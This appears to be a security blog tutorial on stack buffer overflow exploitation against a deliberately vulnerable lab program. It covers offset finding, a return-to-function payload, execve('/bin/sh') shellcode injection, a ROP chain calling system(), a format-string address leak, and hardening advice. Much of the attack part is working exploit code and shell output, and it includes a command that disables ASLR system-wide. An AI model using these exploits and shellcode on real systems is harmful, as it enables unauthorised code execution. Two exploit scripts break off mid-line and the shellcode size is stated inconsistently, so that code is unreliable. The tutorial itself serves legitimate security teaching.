Buffer Overflow Exploitation From Scratch: Hands-On Guide — HackerXone

Buffer Overflow Exploitation From Scratch: Hands-On Guide

Disclaimer: This content is provided for educational and authorized security research purposes only. Buffer overflow exploitation techniques should only be practiced in controlled lab environments or during authorized penetration testing engagements. Unauthorized access to computer systems is illegal and unethical.

The Persistent Threat of Memory Corruption in 2026

Despite decades of mitigation development, buffer overflow vulnerabilities continue to plague modern software. The 2026 CVE landscape has already recorded over 340 memory corruption vulnerabilities in the first five months alone, with critical exploits affecting everything from IoT firmware to enterprise database systems. Recent high-profile incidents, including the March 2026 compromise of several industrial control systems through stack-based buffer overflows in legacy SCADA software, demonstrate that understanding these fundamental exploitation techniques remains essential for security professionals.

This hands-on guide takes you through buffer overflow exploitation from first principles. We’ll build our understanding systematically—from memory layout fundamentals to crafting working exploits—while examining both attack methodologies and modern defense mechanisms. Whether you’re conducting penetration tests, performing vulnerability research, or building more secure software, mastering these concepts provides crucial insight into how attackers think and operate.

Understanding Memory Layout and the Stack

Before we can exploit buffer overflows, we must understand how programs organize memory. When a process executes, the operating system allocates virtual memory divided into distinct segments, each serving specific purposes.

Process Memory Segments

  • Text Segment: Contains executable code, marked read-only to prevent modification
  • Data Segment: Holds initialized global and static variables
  • BSS Segment: Contains uninitialized global and static variables, zeroed at startup
  • Heap: Dynamic memory allocation region, grows toward higher addresses
  • Stack: Function call management, local variables, grows toward lower addresses

The stack is our primary target for classic buffer overflow exploitation. It operates as a Last-In-First-Out (LIFO) data structure, managing function calls through stack frames. Each function call pushes a new frame containing local variables, saved registers, and critically—the return address that tells the CPU where to continue execution after the function completes.

Stack Frame Anatomy

Understanding stack frame structure is fundamental to exploitation. When a function is called on x86-64 architecture, the stack frame typically contains:

+---------------------------+ Higher Addresses
|     Function Arguments    |
+---------------------------+
|      Return Address       | <-- Our primary target
+---------------------------+
|      Saved Base Pointer   | (RBP/EBP)
+---------------------------+
|      Local Variables      | <-- Buffer location
+---------------------------+
|      Saved Registers      |
+---------------------------+ Lower Addresses (Stack grows down)

The vulnerability emerges when a program writes data into a local buffer without proper bounds checking. Since the stack grows downward but buffers fill upward, writing beyond buffer boundaries overwrites adjacent stack frame elements—including the saved return address.

Building Our Vulnerable Target

Let’s create a deliberately vulnerable program to study exploitation mechanics. We’ll disable modern protections initially to understand fundamental concepts before addressing how mitigations complicate real-world attacks.

The Vulnerable Program

/* vulnerable.c - Intentionally vulnerable for educational purposes */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void secret_function() {
    printf("\n[!] Secret function executed!\n");
    printf("[!] In a real scenario, this could spawn a shell.\n\n");
    exit(0);
}

void vulnerable_function(char *input) {
    char buffer[64];
    
    printf("[*] Buffer is at address: %p\n", buffer);
    printf("[*] Input received, copying to buffer...\n");
    
    /* Vulnerable function - no bounds checking */
    strcpy(buffer, input);
    
    printf("[*] Buffer contents: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }
    
    printf("\n=== Buffer Overflow Demo ===");
    printf("\n[*] secret_function() is at: %p\n", secret_function);
    
    vulnerable_function(argv[1]);
    
    printf("[*] Program completed normally.\n\n");
    return 0;
}

Compile this with protections disabled for our learning environment:

# Compile with protections disabled for learning
# -fno-stack-protector: Disable stack canaries
# -z execstack: Make stack executable
# -no-pie: Disable Position Independent Executable
# -g: Include debug symbols

gcc -o vulnerable vulnerable.c \
    -fno-stack-protector \
    -z execstack \
    -no-pie \
    -g \
    -m64

# Disable ASLR system-wide (requires root, revert after testing)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Verify compilation
file vulnerable
checksec --file=vulnerable

Analyzing the Vulnerability

With our target compiled, let’s analyze its behavior and determine exploitation parameters using GDB with the PEDA enhancement.

Determining the Offset

The critical first step is finding exactly how many bytes we need to write before we reach the return address. We’ll use pattern generation to determine this offset precisely.

# Launch GDB with PEDA
gdb -q ./vulnerable

# Generate a cyclic pattern (100 bytes)
gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'

# Run with our pattern
gdb-peda$ run 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'

# Program crashes - examine the crash
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b042c0
RDX: 0x0
RSI: 0x7ffff7b98723
RDI: 0x1
RBP: 0x4141334141644141 ('AAdAA3AA')
RSP: 0x7fffffffe4a8
RIP: 0x4141654141494141 ('AAIAAeAA')

# Find the offset for RIP
gdb-peda$ pattern offset AAIAAeAA
AAIAAeAA found at offset: 72

# Verify: 64 bytes buffer + 8 bytes saved RBP = 72 bytes to reach return address

We’ve determined that 72 bytes of input will reach the return address. The next 8 bytes we write will overwrite RIP, controlling program execution.

Crafting the Exploit

Now we’ll build an exploit to redirect execution to our secret_function. First, let’s extract its address:

# Find secret_function address
gdb-peda$ print secret_function
$1 = {void ()} 0x401156 <secret_function>

# Or use objdump
objdump -d vulnerable | grep secret_function
0000000000401156 <secret_function>:

With address 0x401156, we construct our payload. Remember x86-64 uses little-endian byte ordering:

#!/usr/bin/env python3
"""exploit_ret2func.py - Redirect execution to secret_function"""

import struct
import subprocess
import sys

# Configuration
OFFSET = 72  # Bytes to reach return address
SECRET_FUNC_ADDR = 0x401156  # Address of secret_function

def create_payload():
    """
    Construct the exploit payload:
    [72 bytes padding][8 bytes new return address]
    """
    
    # Padding to reach return address
    padding = b"A" * OFFSET
    
    # Pack the target address in little-endian format
    # struct.pack("

Execute the exploit:

$ python3 exploit_ret2func.py
[*] Payload size: 80 bytes
[*] Target address: 0x401156
[*] Payload (hex): 41414141...56114000
[*] Launching exploit...

=== Buffer Overflow Demo ===
[*] secret_function() is at: 0x401156
[*] Buffer is at address: 0x7fffffffe450
[*] Input received, copying to buffer...
[*] Buffer contents: AAAAAAAAAAAAAAAA...

[!] Secret function executed!
[!] In a real scenario, this could spawn a shell.

[+] Exploit successful!

Advanced Exploitation: Shellcode Injection

Redirecting to existing functions demonstrates control flow hijacking, but real-world exploitation often requires executing arbitrary code. Let's advance to shellcode injection, where we place executable instructions in the buffer and redirect execution there.

Crafting Custom Shellcode

We'll create shellcode that spawns a /bin/sh shell. The shellcode must be position-independent (no hardcoded absolute addresses) and null-free (strcpy terminates on null bytes).

; shellcode.asm - x86-64 Linux execve("/bin/sh") shellcode
; Assembled size: 27 bytes, null-free

section .text
    global _start

_start:
    ; Clear registers using XOR (avoids null bytes)
    xor rdx, rdx          ; rdx = 0 (envp)
    xor rsi, rsi          ; rsi = 0 (argv)
    
    ; Push null terminator for string
    push rdx
    
    ; Push "/bin//sh" onto stack (8 bytes, extra / is ignored)
    mov rdi, 0x68732f2f6e69622f  ; "/bin//sh" in little-endian
    push rdi
    
    ; Set rdi to point to "/bin//sh" string on stack
    mov rdi, rsp
    
    ; execve syscall number for x86-64 is 59
    mov al, 59            ; Use al to avoid null bytes
    
    ; Invoke syscall
    syscall

Assemble and extract the shellcode bytes:

# Assemble the shellcode
nasm -f elf64 shellcode.asm -o shellcode.o

# Link it
ld shellcode.o -o shellcode

# Extract raw bytes
objcopy -O binary -j .text shellcode shellcode.bin

# Display as hex string for Python
xxd -i shellcode.bin

# Output:
unsigned char shellcode_bin[] = {
  0x48, 0x31, 0xd2, 0x48, 0x31, 0xf6, 0x52, 0x48, 0xbf, 0x2f, 0x62, 0x69,
  0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x57, 0x48, 0x89, 0xe7, 0xb0, 0x3b, 0x0f,
  0x05
};
unsigned int shellcode_bin_len = 25;

# Test shellcode works standalone
./shellcode
$ whoami
researcher

Complete Shellcode Exploit

Now we combine our shellcode with a NOP sled and return address to create a complete working exploit:

#!/usr/bin/env python3
"""exploit_shellcode.py - Buffer overflow with shellcode injection"""

import struct
import subprocess
import sys

# x86-64 execve("/bin/sh") shellcode - 25 bytes, null-free
SHELLCODE = (
    b"\x48\x31\xd2"              # xor rdx, rdx
    b"\x48\x31\xf6"              # xor rsi, rsi
    b"\x52"                      # push rdx
    b"\x48\xbf\x2f\x62\x69\x6e"  # movabs rdi, 0x68732f2f6e69622f
    b"\x2f\x2f\x73\x68"
    b"\x57"                      # push rdi
    b"\x48\x89\xe7"              # mov rdi, rsp
    b"\xb0\x3b"                  # mov al, 59
    b"\x0f\x05"                  # syscall
)

# Configuration - addresses obtained from GDB analysis
BUFFER_ADDR = 0x7fffffffe450  # Approximate buffer address
OFFSET = 72                    # Bytes to return address

def create_payload():
    """
    Payload structure:
    [NOP sled][Shellcode][Padding][Return to NOP sled]
    """
    
    # Calculate sizes
    shellcode_len = len(SHELLCODE)
    nop_sled_size = OFFSET - shellcode_len - 8  # Leave room for alignment
    
    # Build payload
    nop_sled = b"\x90" * nop_sled_size  # NOP instructions
    padding = b"A" * 8  # Fill to reach exactly 72 bytes
    
    # Return address points into our NOP sled
    # Add offset to land safely in the middle of the sled
    target_addr = BUFFER_ADDR + 16
    return_addr = struct.pack("

Bypassing Modern Protections

The techniques above work against unprotected binaries, but modern systems deploy multiple defenses. Understanding these protections and their bypasses is essential for real-world exploitation.

Protection Mechanisms Overview

  • Stack Canaries: Random values placed before the return address, verified before function returns
  • ASLR (Address Space Layout Randomization): Randomizes memory segment locations at each execution
  • NX/DEP (Non-Executable Stack): Marks stack memory as non-executable
  • PIE (Position Independent Executable): Randomizes the base address of the executable itself
  • RELRO (Relocation Read-Only): Protects GOT and other relocation sections

Return-Oriented Programming (ROP)

When the stack is non-executable, we can't run shellcode directly. Instead, we chain together existing code snippets called "gadgets"—small instruction sequences ending in RET—to perform arbitrary operations.

# Find ROP gadgets using ropper
ropper --file ./vulnerable --search "pop rdi"

[INFO] Searching for gadgets: pop rdi
[INFO] File: ./vulnerable
0x0000000000401263: pop rdi; ret;

# Find additional useful gadgets
ropper --file ./vulnerable --search "pop rsi"
ropper --file ./vulnerable --search "pop rdx"

# Alternative: use ROPgadget
ROPgadget --binary ./vulnerable --ropchain

A ROP chain to call system("/bin/sh") might look like:

#!/usr/bin/env python3
"""exploit_rop.py - ROP chain exploitation (NX bypass)"""

from pwn import *

# Set context for pwntools
context.arch = 'amd64'
context.os = 'linux'

# Load binary for analysis
elf = ELF('./vulnerable')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Gadgets found via ropper/ROPgadget
POP_RDI = 0x401263      # pop rdi; ret
RET = 0x40101a          # ret (for stack alignment)

# Assuming we've leaked libc base address
LIBC_BASE = 0x7ffff7c00000  # Would be leaked in real exploit

def create_rop_chain():
    """
    ROP chain: system("/bin/sh")
    1. Pop address of "/bin/sh" into RDI
    2. Call system()
    """
    
    # Calculate runtime addresses
    system_addr = LIBC_BASE + libc.symbols['system']
    binsh_addr = LIBC_BASE + next(libc.search(b'/bin/sh'))
    
    # Build ROP chain
    rop_chain = b""
    rop_chain += p64(POP_RDI)       # Gadget: pop rdi; ret
    rop_chain += p64(binsh_addr)    # Argument: "/bin/sh" string address
    rop_chain += p64(RET)           # Stack alignment (required for system())
    rop_chain += p64(system_addr)   # Call system()
    
    return rop_chain

def exploit():
    # Build payload
    padding = b"A" * 72
    rop = create_rop_chain()
    payload = padding + rop
    
    # Launch exploit
    p = process(['./vulnerable', payload])
    p.interactive()

if __name__ == "__main__":
    exploit()

Defeating ASLR Through Information Leaks

ASLR randomizes addresses, but if we can leak a single address from a memory region, we can calculate all other addresses in that region. Format string vulnerabilities, partial overwrites, and side-channel attacks are common leak techniques:

# Example: Leaking libc address through format string
# If the program has: printf(user_input)

$ ./vuln_program 'AAAA%p.%p.%p.%p.%p.%p.%p.%p'
AAAA0x7ffd12345678.0x7ffff7e12345.(nil).0x7ffff7c23456...

# The leaked 0x7ffff7... addresses are libc pointers
# Calculate libc base: leaked_addr - known_offset = libc_base

Defense Strategies and Secure Development

Understanding exploitation empowers us to build better defenses. Here are critical strategies for preventing buffer overflow vulnerabilities:

Compiler and OS Protections

# Compile with all protections enabled
gcc -o secure_program secure_program.c \
    -fstack-protector-strong \
    -D_FORTIFY_SOURCE=2 \
    -Wformat -Wformat-security \
    -fPIE -pie \
    -Wl,-z,relro,-z,now \
    -Wl,-z,noexecstack

# Verify protections with checksec
checksec --file=secure_program

[*] 'secure_program'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Secure Coding Practices

  • Use Safe Functions: Replace strcpy with strncpy or strlcpy; use snprintf instead of sprintf
  • Bounds Checking: Always validate buffer sizes before copying data
  • Memory-Safe Languages: Consider Rust, Go, or managed languages for security-critical components
  • Static Analysis: Integrate tools like Coverity, CodeQL, or Semgrep into CI/CD pipelines
  • Fuzzing: Use AFL++, libFuzzer, or Honggfuzz to discover memory corruption issues
/* Secure alternative to vulnerable function */
void secure_function(const char *input) {
    char buffer[64];
    
    /* Use strncpy with explicit size limit */
    strncpy(buffer, input, sizeof(buffer) - 1);
    
    /* Ensure null termination */
    buffer[sizeof(buffer) - 1] = '\0';
    
    printf("[*] Buffer contents: %s\n", buffer);
}

Runtime Protections

  • Control Flow Integrity (CFI): Validates indirect branches at runtime
  • Shadow Stacks: Hardware-backed return address protection (Intel CET)
  • Memory Tagging: ARM MTE and similar technologies detect spatial/temporal memory errors
  • Address Sanitizers: ASan catches buffer overflows during development and testing

Key Takeaways

  1. Stack-based buffer overflows occur when programs write beyond buffer boundaries, corrupting adjacent stack frame data including return addresses
  2. Exploitation requires precise offset calculation to position the payload correctly—use pattern generation and debugging to determine exact values
  3. Modern mitigations layer defenses: Stack canaries, ASLR, NX, and PIE each address different aspects of exploitation, making attacks significantly harder when combined
  4. ROP chains bypass non-executable stacks by reusing existing code gadgets, demonstrating that code injection isn't the only path to exploitation
  5. Information leaks are critical for bypassing ASLR—protecting against memory disclosure vulnerabilities is as important as preventing buffer overflows
  6. Defense in depth works: No single protection is foolproof, but combining compiler hardening, secure coding practices, and runtime protections dramatically raises the exploitation bar
  7. Practice in controlled environments: Build vulnerable VMs, use CTF challenges, and study real CVEs to develop practical exploitation skills safely and legally

Buffer overflow exploitation remains a foundational skill for security professionals in 2026. While mitigations have evolved significantly, understanding these core techniques illuminates how modern attacks chain multiple primitives to achieve code execution. Whether you're hunting bugs, developing exploits for authorized assessments, or building more resilient software, this knowledge forms the bedrock of memory corruption security research.

Leave a Reply

Your email address will not be published. Required fields are marked *